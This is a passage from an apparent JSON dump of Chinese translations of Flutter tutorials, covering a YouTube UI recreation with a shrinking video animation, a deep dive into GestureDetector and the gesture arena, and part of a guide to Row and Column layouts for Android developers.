BottomNavigationBarType.fixed,),\n```\n\n注意：对于4个以上的项目我们需要指定一个固定的 BottomNavigationBarType，因为为了避免拥挤默认类型是 shifting 。\n\n结果是：\n\n![](https://cdn-images-1.medium.com/max/1600/1*E9L_VTaUMxs5eOjNl0NRwQ.png)\n\n重新创建的 YouTube 底部导航栏\n\n#### 用户订阅视频\n\n用户订阅视频是由推荐视频组成的项目列表。我们来看看列表项：\n\n![](https://cdn-images-1.medium.com/max/1600/1*5WvYpQxPdwPsJWmuGiax5w.png)\n\n列表项由一个带有一张图片的 Column 和一个有关视频信息的 Raw 组成。该 Row 由一张图片，一个包含标题、发布者和菜单按钮的 Column 组成。\n\n要在 Flutter 中创建列表，我们可以使用 ListView.builder()。重新创建列表项，如下：\n\n```\nListView.builder(\n  itemCount: 3,\n  itemBuilder: (context, position) {\n    return Column(\n      children: <Widget>[\n        Row(\n          children: <Widget>[\n            Expanded(child: Image.asset(videos[position].imagePath, fit: BoxFit.cover,)),\n          ],\n        ),\n        Padding(\n          padding: const EdgeInsets.all(12.0),\n          child: Row(\n            crossAxisAlignment: CrossAxisAlignment.start,\n            children: <Widget>[\n              Expanded(child: Icon(Icons.account_circle, size: 40.0,), flex: 2,),\n              Expanded(\n                child: Column(\n                  children: <Widget>[\n                    Padding(\n                      padding: const EdgeInsets.only(bottom: 4.0),\n                      child: Text(videos[position].title, style: TextStyle(fontSize: 18.0),),\n                    ),\n                    Text(videos[position].publisher, style: TextStyle(color: Colors.black54),)\n                  ],\n                  crossAxisAlignment: CrossAxisAlignment.start,\n                ),\n                flex: 9,\n              ),\n              Expanded(child: Icon(Icons.more_vert), flex: 1,),\n            ],\n          ),\n        )\n      ],\n    );\n  },\n),\n```\n\n这里的视频只是包含由标题和发布者等视频详情的列表。\n\n这是重新创建的主页的样子：\n\n![](https://cdn-images-1.medium.com/max/1600/1*Imp-nYfT9UYoRs4Hs_45Vg.png)\n\n我们重新创建的主页\n\n现在，我们将继续讨论稍微难一点的部分，视频详情页。\n\n#### 创建视频详情页\n\n视频详情页才是在 YouTube 中真正展示视频的页面。页面的亮点是我们可以缩小视频，并在屏幕的右下角继续播放。对于本文，我们将专注于缩小动画而不是实际播放视频。\n\n请注意，这并不是一个特别的页面，而是在现有屏幕上叠加覆盖层。因此，我们将使用 Stack 组件来覆盖屏幕。\n\n所以在背后，将有我们的主页，而顶部将是我们的视频页面。\n\n#### 构建浮动视频播放器（画中画）\n\n为了构建可以扩大至填充整个屏幕的浮动视频播放器，我们使用 LayoutBuilder 来完美地适配屏幕。\n\n在继续之前，我们先定义一些值，即缩小和扩大时视频播放器的大小。我们不用为扩大的播放器设置宽度，而是从布局构建器中获取。\n\n```\nvar currentAlignment = Alignment.topCenter;\n\nvar minVideoHeight = 100.0;\nvar minVideoWidth = 150.0;\n\nvar maxVideoHeight = 200.0;\n\n// 这是一个任意的值，当构建布局时会改变。\nvar maxVideoWidth = 250.0;\n\nvar currentVideoHeight = 200.0;\nvar currentVideoWidth = 200.0;\n\nbool isInSmallMode = false;\n```\n\n这里， “small mode” 指视频播放器缩小的时候。\n\n构建视频详情页的 LayoutBuilder 可以写成：\n\n```\nLayoutBuilder(\n  builder: (context, constraints) {\n\n    maxVideoWidth = constraints.biggest.width;\n\n    if(!isInSmallMode) {\n      currentVideoWidth = maxVideoWidth;\n    }\n\n    return Column(\n      crossAxisAlignment: CrossAxisAlignment.end,\n      children: <Widget>[\n        Expanded(\n          child: Align(\n            child: Padding(\n              padding: EdgeInsets.all(isInSmallMode? 8.0 : 0.0),\n              child: GestureDetector(\n                child: Container(\n                  width: currentVideoWidth,\n                  height: currentVideoHeight,\n                  child: Image.asset(\n                    videos[videoIndexSelected].imagePath,\n                    fit: BoxFit.cover,),\n                  color: Colors.blue,\n                ),\n                onVerticalDragEnd: (details) {\n                  if(details.velocity.pixelsPerSecond.dy > 0) {\n                    setState(() {\n                      isInSmallMode = true;\n                    });\n                  }else if (details.velocity.pixelsPerSecond.dy < 0){\n                    setState(() {\n                    });\n                  }\n                },\n              ),\n            ),\n            alignment: currentAlignment,\n          ),\n          flex: 3,\n        ),\n        currentAlignment == Alignment.topCenter ?\n        Expanded(\n          flex: 6,\n          child: Container(\n            child: Column(\n              children: <Widget>[\n                Row(),\n                Padding(\n                  padding: const EdgeInsets.all(8.0),\n                  child: Card(\n                    child: Padding(\n                      padding: const EdgeInsets.all(8.0),\n                      child: Text(\"Video Recommendation\"),\n                    ),\n                  ),\n                ),\n                Padding(\n                  padding: const EdgeInsets.all(8.0),\n                  child: Card(\n                    child: Padding(\n                      padding: const EdgeInsets.all(8.0),\n                      child: Text(\"Video Recommendation\"),\n                    ),\n                  ),\n                ),\n                Padding(\n                  padding: const EdgeInsets.all(8.0),\n                  child: Card(\n                    child: Padding(\n                      padding: const EdgeInsets.all(8.0),\n                      child: Text(\"Video Recommendation\"),\n                    ),\n                  ),\n                )\n              ],\n            ),\n            color: Colors.white,\n          ),\n        )\n            :Container(),\n        Row(),\n      ],\n    );\n  },\n)\n```\n\n注意我们是如何获得最大屏幕宽度然后使用，而不是使用我们的第一个任意值来作为最大屏幕宽度。\n\n我们附加了一个 GestureDetector 来检测屏幕上的滑动，以便我们可以相应地缩小和扩大它。让我们创建动画。\n\n#### 为视频详情页添加动画\n\n当我们制作动画时，需要处理两件事：\n\n1.  将视频从右上角移动到右下角。\n2.  更改视频的大小并使其变小。\n\n对于这些东西，我们使用两个 Tweens，一个 AlignmentTween 和一个 Tween<double>，并构造两个同时运行的独立动画。\n\n```\nAnimationController alignmentAnimationController;\nAnimation alignmentAnimation;\n\nAnimationController videoViewController;\nAnimation videoViewAnimation;\n\nvar currentAlignment = Alignment.topCenter;\n@override\nvoid initState() {\n  super.initState();\n\n  alignmentAnimationController = AnimationController(vsync: this, duration: Duration(seconds: 1))\n    ..addListener(() {\n      setState(() {\n        currentAlignment = alignmentAnimation.value;\n      });\n    });\n  alignmentAnimation = AlignmentTween(begin: Alignment.topCenter, end: Alignment.bottomRight).animate(CurvedAnimation(parent: alignmentAnimationController, curve: Curves.fastOutSlowIn));\n\n  videoViewController = AnimationController(vsync: this, duration: Duration(seconds: 1))\n    ..addListener(() {\n      setState(() {\n        currentVideoWidth = (maxVideoWidth*videoViewAnimation.value) + (minVideoWidth*(1.0-videoViewAnimation.value));\n        currentVideoHeight = (maxVideoHeight*videoViewAnimation.value) + (minVideoHeight*(1.0-videoViewAnimation.value));\n      });\n    });\n  videoViewAnimation = Tween<double>(begin: 1.0, end: 0.0).animate(videoViewController);\n\n}\n```\n\n当我们的视频播放器向上或向下滑动时，会触发这些动画。\n\n```\nonVerticalDragEnd: (details) {\n  if(details.velocity.pixelsPerSecond.dy > 0) {\n    setState(() {\n      isInSmallMode = true;\n      alignmentAnimationController.forward();\n      videoViewController.forward();\n    });\n  }else if (details.velocity.pixelsPerSecond.dy < 0){\n    setState(() {\n      alignmentAnimationController.reverse();\n      videoViewController.reverse().then((value) {\n        setState(() {\n          isInSmallMode = false;\n        });\n      });\n    });\n  }\n},\n\n```\n\n这是代码的最终结果：\n\n![](https://cdn-images-1.medium.com/max/1600/1*d0p0k1YrT6Ao87fxlG1fQw.png)\n\n最终重新创建的 YouTube 应用\n\n以下是该应用的视频：\n\n* YouTube 视频链接：[https://youtu.be/dTpZ1BtNy4w](https://youtu.be/dTpZ1BtNy4w)\n\n最终应用的 iOS 视频\n\n这是该项目的 GitHub 链接：[https://github.com/deven98/YouTubeFlutter](https://github.com/deven98/YouTubeFlutter)\n\n感谢阅读此 Flutter 挑战。可以留言告诉我任何你想要在 Flutter 中重新创建的应用。喜欢请给个 star，下次见。\n\n不要错过：\n\n[Flutter Challenge: Whatsapp](https://medium.com/@dev.n/flutter-challenge-whatsapp-b4dcca52217b)\n\n[Flutter Challenge: Twitter](https://itnext.io/flutter-challenge-twitter-a1cb17f1e21b)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-deep-dive-gestures.md",
    "content": "> * 原文地址：[Flutter Deep Dive: Gestures](https://medium.com/flutter-community/flutter-deep-dive-gestures-c16203b3434f)\n> * 原文作者：[Nash](https://medium.com/@Nash0x7E2?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-deep-dive-gestures.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-deep-dive-gestures.md)\n> * 译者：[MeFelixWang](https://github.com/MeFelixWang)\n> * 校对者：[HaoChuan9421](https://github.com/HaoChuan9421)\n\n# 深入 Flutter 之手势\n\n![](https://cdn-images-1.medium.com/max/800/1*05K_qs3P3_1bBTGhXUYSOA.png)\n\nFlutter 提供了一些非常棒的预制组件，用于处理触摸事件，如 `in InkWell` 和 `InkResponse`。用这些组件包裹住你的组件，它们就能够响应触摸事件了。除此之外，它还会向你的组件添加 Material 风格的飞溅效果。例如，当从组件的边界延伸出来时，`InkResponse` 可以选择控制飞溅的形状和剪裁效果。有趣的是 `InkWell` 和 `InkResponse` 不会做任何渲染，而是更新父级的 *Material* 组件。一个常见的例子是图片。如果用 `inkEll` 将图片包裹起来，你会注意到纹波并不可见。这是因为它是在 Material 上的图片后面绘制的。想让 `Ink` 飞溅效果可见，可以用 `Ink.Image` 包裹住图片。虽然这对大多数任务来说很有用，但如果你想捕获更多事件，例如当用户拖动屏幕时，则应该使用 `GestureDetector`。\n\n### 那么什么是手势探测器？它是如何工作的？\n\n简单来说手势检测器是一个无状态组件，其构造函数中的参数可用于不同的触摸事件。值得注意的是，你不能同时使用 `Pan` 和 `Scale`，因为 `Scale` 是 `Pan` 的一个超集。`GestureDetector` 纯粹用于检测手势，因此不会给出任何视觉反应（不存在 _Material Ink_ 传播）。\n\n下面是一张表格，展示了 `GestureDetector` 提供的不同回调以及对应的简短描述：\n\n| 属性/回调                | 描述                                 |\n| ------------------------ | ------------------------------------ |\n| `onTapDown`              | 每次用户与屏幕联系时都会触发 `OnTapDown`。 |\n| `onTapUp`                | 当用户停止触摸屏幕时，`onTapUp` 被调用。 |\n| `onTap`                  | 当短暂触摸屏幕时，`onTap` 被触发。 |\n| `onTapCancel`            | 当用户触摸屏幕但未完成 `Tap` 时，将触发此事件。 |\n| `onDoubleTap`            | 当屏幕被快速连续触摸两次时调用 `onDoubleTap`。 |\n| `onLongPress`            | 用户触摸屏幕超过 _500毫秒_ 时，`onLongPress` 被触发。 |\n| `onVerticalDragDown`     | 当指针与屏幕接触并开始沿垂直方向移动时，`onVerticalDown` 被调用。 |\n| `onVerticalDragStart`    | 当指针 _开始_ 沿垂直方向移动时调用 `onVerticalDragStart`。 |\n| `onVerticalDragUpdate`   | 每次指针在屏幕上的位置发生变化时都会调用此方法。 |\n| `onVerticalDragEnd`      | 当用户停止移动时，拖动被认为是完成的，将调用此事件。 |\n| `onVerticalDragCancel`   | 当用户突然停止拖动时调用。 |\n| `onHorizontalDragDown`   | 当用户/指针与屏幕接触并开始水平移动时调用。 |\n| `onHorizontalDragStart`  | 用户/指针已与屏幕接触并 _开始_ 沿水平方向移动。 |\n| `onHorizontalDragUpdate` | 每次指针在水平方向/x轴上的位置发生变化时调用。 |\n| `onHorizontalDragEnd`    | 在水平拖动结束时，将调用此事件。 |\n| `onHorizontalDragCancel` | 当指针未成功触发 `onHorizontalDragDown` 时调用。 |\n| `onPanDown`              | 当指针与屏幕接触时调用。 |\n| `onPanStart`             | 指针事件开始移动时，`onPanStart` 触发。 |\n| `onPanUpdate`            | 每次指针改变位置时，调用 `onPanUpdate`。 |\n| `onPanEnd`               | 平移完成后，将调用此事件。 |\n| `onScaleStart`           | 当指针与屏幕接触并建立 1.0 的焦点时，将调用此事件。 |\n| `onScaleUpdate`          | 与屏幕接触的指针指示了新的焦点。 |\n| `onScaleEnd`             | 当指针不再与指示手势结束的屏幕接触时调用。 |\n\n`GestureDetector` 会根据哪个回调非空来决定尝试识别哪些手势。这很有用，因为如果你需要禁用手势，则需要传入 **_null_**。\n\n**让我们以** `**onTap**` **手势为例，确定如何处理** `**GestureDetector**`**。**\n\n首先，我们使用 `onTap` 回调创建一个 GestureDetector，因为是非 null，当发生 tap 事件时 `GestureDetector` 会使用我们的回调。在 `GestureDetector` 内部，创建了一个 **Gesture Factory** 。`Gesture Recognizer` 会做大量工作来确定正在处理什么手势。这个过程对于 `GestureDetector` 提供的所有回调来说是相同的。`GestureFactories` 随后会被传递到 `RawGestureDetector`。\n\n`RawGestureDetector` 会为检测手势做大量工作。它是一个 **有状态组件** ，当状态改变时会同步所有手势，处理识别器，获取发生的所有 _指针事件_ 并将其发送到注册的识别器。然后它们将在 **手势竞技场** 中一决雌雄。\n\n`RawGestureDetectorbuild` 构建方法由一个 用于监听指针事件的基类 `Listener` 组成。如果你想使用来自平台的原始输入，如向上，向下或取消事件，这是你的首选类。`Listener` 不会给你任何手势，只有基本的 `onPointerDown`，`onPointerUp`，`onPointerMove` 和 `onPointerCancel` 事件。一切都必须手动处理，包括向 **手势竞技场** 报告自己。如果不这样做，那么你不会获得自动取消，也无法参与那里发生的交互。这是 **组件端** 的最底层。\n\n`Listener` 是一个 `SingleChildRenderObjectWidget`，由继承自 `RenderProxyBoxWithHitTestBehavior` 的类 `RenderPointerListener` 组成的，这意味着它会模仿其子类的属性，同时允许自定义 `HitTestBehavior`。如果你想了解渲染盒及其运作方式的更多信息，请阅读 [Norbert Kozsir](https://medium.com/flutter-community/flutter-what-are-widgets-renderobjects-and-elements-630a57d05208) 撰写的这篇文章。\n\n`HitTestBehaviour` 有三个选项，`deferToChild`，`opaque` 和 `translucent`。这些来自 `GestureDetector`，且可以在其中进行配置。`DeferToChild` 将事件沿着组件树向下传递，这也是 _默认行为_ 。`Opaque` 会防止后台组件接收事件，而 `Translucent` 则允许后台组件接收事件。\n\n### 那么如果你希望父组件和子组件都接收指针事件呢？\n\n让我们暂时想象一下你有一个嵌套列表的情况，你想要同时滚动它们。为此，你需要父组件和子组件都接收到指针。你配置命中测试行为，使其是半透明的，确保两个组件都接收到事件，但事情却不按计划进行...为什么？\n\n上述问题的答案就是 `GestureArena`。\n\n![](https://cdn-images-1.medium.com/max/800/1*-gE5KrWqiCw3sIJRuFkqZw.gif)\n\n`GestureArena` 被用于 [手势消歧](https://flutter.io/gestures/#gesture-disambiguation) 。所有识别器都会在这里一决雌雄并发送出去。在屏幕上的任何给定点处，可以存在多个手势识别器。竞技场会考虑用户触摸屏幕的时长，斜率以及拖动方向来确定胜利者。\n\n父列表和子列表都会将其识别器发送到竞技场，但（在撰写本文时）只有一个会赢，而且它恰好总是子列表。\n\n修复方法是使用 `GestureFactory` 的同时使用 `RawGestureDetector` 来改变竞技场的表现。\n\n举个例子，让我们创建一个由两个容器组成的简单应用程序。目标是让子容器和父容器都接收到手势。\n\n用 `RawGestureDetector` 将两个容器都包裹起来。接下来，我们将创建一个自定义手势识别器 `AllowMultipleGestureRecognizer`。`GestureRecognizer` 是所有其他识别器继承的基类。它为类提供基础 API ，以便它们能够与手势识别器一起工作/交互。值得注意的是，`GestureRecognizer` 并不关心识别器本身的具体细节。\n\n```\n// 自定义手势识别器。\n// 重写 rejectGesture()。当一个手势被拒绝时，将调用此函数。默认情况下，它会处理\n// 识别器并进行清理。但是我们修改了它，它实际上是手动添加的，以代替识别器被处理。\n// 结果是你将有两个识别器在竞技场中获胜。这是双赢。\n\nclass AllowMultipleGestureRecognizer extends TapGestureRecognizer {\n  @override\n  void rejectGesture(int pointer) {\n    acceptGesture(pointer);\n  }\n}\n```\n\n在上面的代码中，我们正在创建一个继承自 `TapGestureRecognizer` 的自定义类 `AllowMultipleGestureRecognizer`。这意味着它能够继承 `TapGestureRecognizer`。在这个例子中，我们重写了 `rejectGesture`，使之不是处理识别器，而是手动接受。\n\n现在我们将 `GestureRecognizerFactoryWithHandlers` 中的自定义手势识别器传递给 `RawGestureDetector`。\n\n```\nWidget build(BuildContext context) {\n   return RawGestureDetector(\n     gestures: {\n       AllowMultipleGestureRecognizer: GestureRecognizerFactoryWithHandlers<\n          AllowMultipleGestureRecognizer>(\n         () => AllowMultipleGestureRecognizer(), //构造函数\n         (AllowMultipleGestureRecognizer instance) { //初始化器\n           instance.onTap = () => print('Episode 4 is best! (parent container) ');\n         },\n       )\n     },\n```\n\n现在我们将 `GestureRecognizerFactoryWithHandlers` 中的自定义手势识别器传递给 `RawGestureDetector`。工厂函数需要两个属性，构造函数和初始化器，用于构造和初始化手势识别器。我们使用 lambda 传递这些参数。如上面的代码所述，构造函数返回 `AllowMultipleGestureRecognizer` 的一个新实例，而初始化器则获取用于监听 tap 并将一些文本打印到控制台的属性 `instance`。两个容器将重复这一过程，唯一的区别是打印的文本。\n\n以下是示例应用的完整源码：\n\n```\nimport 'package:flutter/gestures.dart';\nimport 'package:flutter/material.dart';\n\n//主函数。 Flutter 应用的入口\nvoid main() {\n  runApp(\n    MaterialApp(\n      home: Scaffold(\n        body: DemoApp(),\n      ),\n    ),\n  );\n}\n\n//   简单的演示应用程序，由两个容器组成。目标是允许多个手势进入竞技场。\n//  所有的东西都是通过 `RawGestureDetector` 和自定义 `GestureRecognizer` （继承自 `TapGestureRecognizer` ）\n//  将自定义 GestureRecognizer，`AllowMultipleGestureRecognizer` 添加到手势列表中，并创建一个 `AllowMultipleGestureRecognizer` 类型的 `GestureRecognizerFactoryWithHandlers`。\n//  它用给定的回调创建一个手势识别器工厂函数，在这里是 `onTap`。\n//  它监听 `onTap` 的一个实例，然后在被调用时向控制台打印文本。需要注意的是，`RawGestureDetector` 对于两个容器\n//  是相同的。唯一的区别是打印的文本（用来标识组件）。\n\nclass DemoApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return RawGestureDetector(\n      gestures: {\n        AllowMultipleGestureRecognizer: GestureRecognizerFactoryWithHandlers<\n            AllowMultipleGestureRecognizer>(\n          () => AllowMultipleGestureRecognizer(),\n          (AllowMultipleGestureRecognizer instance) {\n            instance.onTap = () => print('Episode 4 is best! (parent container) ');\n          },\n        )\n      },\n      behavior: HitTestBehavior.opaque,\n      //父容器\n      child: Container(\n        color: Colors.blueAccent,\n        child: Center(\n          //用 RawGestureDetector 将两个容器包裹起来\n          child: RawGestureDetector(\n            gestures: {\n              AllowMultipleGestureRecognizer:\n                  GestureRecognizerFactoryWithHandlers<\n                      AllowMultipleGestureRecognizer>(\n                () => AllowMultipleGestureRecognizer(),  //构造函数\n                (AllowMultipleGestureRecognizer instance) {  //初始化器\n                  instance.onTap = () => print('Episode 8 is best! (nested container)');\n                },\n              )\n            },\n            //在第一个容器中创建嵌套容器。\n            child: Container(\n               color: Colors.yellowAccent,\n               width: 300.0,\n               height: 400.0,\n            ),\n          ),\n        ),\n      ),\n    );\n  }\n}\n\n// 自定义手势识别器。\n// 重写 rejectGesture()。当一个手势被拒绝时，将调用此函数。默认情况下，它会处理\n// 识别器并进行清理。但是我们修改了它，它实际上是手动添加的，以代替识别器被处理。\n// 结果是你将有两个识别器在竞技场中获胜。这是双赢。\nclass AllowMultipleGestureRecognizer extends TapGestureRecognizer {\n  @override\n  void rejectGesture(int pointer) {\n    acceptGesture(pointer);\n  }\n}\n```\n\n### 那么运行上面代码的结果是什么？\n\n当你点击黄色容器时，两个组件都会收到 tap 事件，因此有两条语句打印到控制台。\n\n应用程序：\n\n![](https://cdn-images-1.medium.com/max/800/1*4c3RQrrqk4jKW-ELLb71JQ.png)\n\n控制台输出：\n\n![](https://cdn-images-1.medium.com/max/800/1*eEqe1QJzuxkYMExszi9_kA.png)\n\n### 你赢的时候会发生什么？\n\n一个手势获胜后，竞技场将处于 `closed` 和 `swept` 状态。这将丢弃未使用的识别器并重置竞技场。然后由胜利手势执行动作。\n\n回到我们的 _Tap_ 示例，在此之后，映射到 `onTap` 的函数现在将被执行。\n\n### 总结\n\n今天我们了解了 Flutter 框架如何处理手势。我们首先了解了 Flutter 为处理 taps 和其他触摸事件提供的梦幻般的预制组件。接下来，我们讨论了 `GestureDetector` 并实验了其内部工作方式。通过使用示例，我们了解了 Flutter 如何处理 Tap 手势。我们穿过了 `RawGestureDetector` 这片土地，聆听了 `Listener` 的声音，并向名为 `GestureArena` 的神秘的 Flutter 搏击俱乐部致敬。\n\n最后，我们从应用程序的角度介绍了 Flutter 中的大部分手势系统。有了这些知识，你现在应该对如何获取屏幕上的触摸并在幕后进行处理有了更好地理解。如果你有任何问题或疑虑，请随时发表评论或通过 [Twitterverse](https://twitter.com/Nash0x7E2?lang=en) 与我联系。\n\n同样 **非常** 感谢[Simon Lightfoot](https://twitter.com/devangelslondon)（又名“Flutter Whisperer”）对本文的贡献❤\n\n* [Nash](http://nash0x7E2.github.io)\n\n![](https://cdn-images-1.medium.com/max/800/1*P9yFVC0hMkKGBe0ZMpYWCA.png)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-for-android-developers-how-to-design-linearlayout-in-flutter.md",
    "content": "> * 原文地址：[Flutter For Android Developers : How to design LinearLayout in Flutter ?](https://proandroiddev.com/flutter-for-android-developers-how-to-design-linearlayout-in-flutter-5d819c0ddf1a)\n> * 原文作者：[Burhanuddin Rashid](https://proandroiddev.com/@burhanrashid52?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-for-android-developers-how-to-design-linearlayout-in-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-for-android-developers-how-to-design-linearlayout-in-flutter.md)\n> * 译者：[androidxiao(https://github.com/androidxiao)\n> * 校对者：[Starriers](https://github.com/Starriers)\n\n# Android 开发者的 Flutter 框架：如何在 Flutter 中设计 LinearLayout？\n\n![](https://cdn-images-1.medium.com/max/2000/1*9JzKFil-Xsip742fdxDqZw.jpeg)\n\n[Marvin Ronsdorf](https://unsplash.com/photos/1hGAXyyav64?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 在 [Unsplash](https://unsplash.com/search/photos/row-and-column?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) 上​​拍摄的照片。\n\n这个博客是面向 Android 开发人员的，旨在将他们现有的 Android 知识应用于使用 Flutter 构建移动应用程序。在这篇博客中，我们将探索 Flutter 中 LinearLayout 的等效设计部件。\n\n### 系列  \n\n* [如何在 Flutter 中设计 activity 的 UI？](https://blog.usejournal.com/flutter-for-android-developers-how-to-design-activity-ui-in-flutter-4bf7b0de1e48)\n\n* 如何在 Flutter 中设计 LinearLayout？ （就在这里）\n\n### 先决条件\n\n这篇博客已假设您已经在 PC 中配置了 flutter，并且能够运行 Hello World 应用程序。如果您尚未安装 flutter，[请点击这里](https://flutter.io/get-started/)。\n\nDart 基于面向对象的概念，因此作为 android java 开发人员，您将能够轻松地掌握 dart。\n\n### 让我们开始吧\n\n如果您是 Android 开发人员，那么我假设您在设计布局时大量使用了 LinearLayout。对于那些不熟悉 LinearLayout 的人，我会给出官方定义。\n\n>LinearLayout 是一种布局，可以将其它视图水平排列在单个列中，也可以垂直排列在单个行中。\n\n![](https://cdn-images-1.medium.com/max/800/1*kE-KoY8nR4qT8nYHPrV0Pw.jpeg)\n\n上面的效果展示和定义本身是一样的，您可以确定 Flutter 中的等效小部件是什么。是的，你是对的，它们是行列。\n\n>**注意：**“行/列”小部件不会滚动。如果您有一系列小部件并希望它们能够在没有足够空间的情况下滚动，请考虑使用 [ListView](https://docs.flutter.io/flutter/widgets/ListView-class.html)。\n\n现在我们将介绍 LinearLayout 的一些主要属性，它们可以转换为 Flutter 中的等效小部件属性。\n\n### 1. 方向\n\n在 LinearLayout 中，您可以使用 android:orientation =\"horizo​​ntal\" 属性定义其子项的方向，该属性将水平/垂直作为与 Flutter 中的行/列小部件类似的值。\n\n在 Android 中，LinearLayout 是 ViewGroup，可以向里面添加子 View。您可以在 <LinearLayout> </ LinearLayout> 标签内设置所有子 View。因此，为了在我们的 Row/Column 小部件中设置子小部件，我们需要使用 Row/Column.children 属性，该属性接受 List<Widget>。请参阅下面的代码片段。\n\n```\nimport 'package:flutter/material.dart';\n\nvoid main() => runApp(new MyApp());\n\nclass MyApp extends StatefulWidget {\n  @override\n  _MyAppState createState() => new _MyAppState();\n}\n\nclass _MyAppState extends State<MyApp> {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      home: new Scaffold(\n        appBar: new AppBar(\n          title: new Text(\"LinearLayout Example\"),\n        ),\n        body: new Container(\n          color: Colors.yellowAccent,\n          child: new Row(\n            children: [\n              new Icon(\n                Icons.access_time,\n                size: 50.0,\n              ),\n              new Icon(\n                Icons.pie_chart,\n                size: 100.0,\n              ),\n              new Icon(\n                Icons.email,\n                size: 50.0,\n              )\n            ],\n          ),\n        ),\n      ),\n    );\n  }\n}\n```\n\n在这个例子中，我们使用了 LinearLayout 的 android:orientation =\"horizo​​ntal\" 属性的 Row 小部件。我们使用 Column 作为垂直值。如果你想知道 Scaffold 在这里做什么，你可以阅读我之前的文章[如何在 Flutter 中使用 Scaffold 设计 activity UI？](https://blog.usejournal.com/flutter-for-android-developers-how-to-design-activity-ui-in-flutter-4bf7b0de1e48)\n\n![](https://cdn-images-1.medium.com/max/800/1*DbZVIPcRxe7Mg8avHmf5Sw.jpeg)\n\n![](https://cdn-images-1.medium.com/max/800/1*j8ikHPpLx46r3bwNveJubA.png)\n\n\n### 2. \"match_parent\" vs \"wrap_content\"\n\n*  MATCH_PARENT: 这意味着视图希望与其父视图一样大，如果您的视图是顶级根视图，那么它将与设备屏幕一样大。\n\n* WRAP_CONTENT: 这意味着该视图要足够大以包含其内容。\n\n为了获得 `match_parent` 和 `wrap_content` 的行为，我们需要在 Row/Column 小部件中使用 `mainAxisSize` 属性，`mainAxisSize` 属性采用 MainAxisSize 枚举，其中有两个值，即 `MainAxisSize.min` 和 `MainAxisSize.max`，的行为对应 `wrap_content` 和 `match_parent`。\n\n在上面的例子中，我们没有为 Row 部件定义任何 mainAxisSize 属性，所以默认情况下它的 mainAxisSize 属性设置为 `MainAxisSize.max`，它是 `match_parent`。容器的黄色背景代表了自由空间的覆盖方式。这就是我们在上面的例子中定义这个属性的方法，并检查具有不同属性值的输出。\n```\n....\nbody: new Container(\n  color: Colors.yellowAccent,\n  child: new Row(\n    mainAxisSize: MainAxisSize.min,\n    children: [...],\n  ),\n)\n...\n```\n\n![](https://cdn-images-1.medium.com/max/1000/1*bUP8rPQbN2w07QaEtz7ENA.png)\n\n这就是我们如何在视觉上区分 Row/Column 小部件中使用的属性。\n\n### 3. 权重\n\n权重指定了在它自身的范围内子 view 如何摆放位置，我们使用具有多个对齐值的 `android:gravity =\"center\"` 在 LinearLayout 布局中定义默认权重。在使用 `MainAxisAlignment` 和 `CrossAxisAlignment` 属性的 Row/Column 小部件中可以实现相同的功能。\n\n#### 1. [主轴对齐](https://docs.flutter.io/flutter/rendering/MainAxisAlignment-class.html):\n\n这个属性定义了子 view 应该如何沿着主轴（行/列）放置。为了使这个有效，如果将值设置为 `MainAxisSize.min`，则应在 Row/Column 小部件中提供一些空间，即由于没有可用空间，`wrap_content` 设置 MainAxisAlignment 对小部件没有任何影响。\n```\n....\nbody: new Container(\n  color: Colors.yellowAccent,\n  child: new Row(\n    mainAxisSize: MainAxisSize.max,\n    mainAxisAlignment: MainAxisAlignment.start,\n    children: [...],\n  ),\n)\n...\n```\n>一张图片胜过千言万语，我更喜欢视觉展示而不是描述每一个属性。\n\n因此在此输出的情况下将 LinearLayout 属性与 Row Widget 中的 MainAxisAlignment 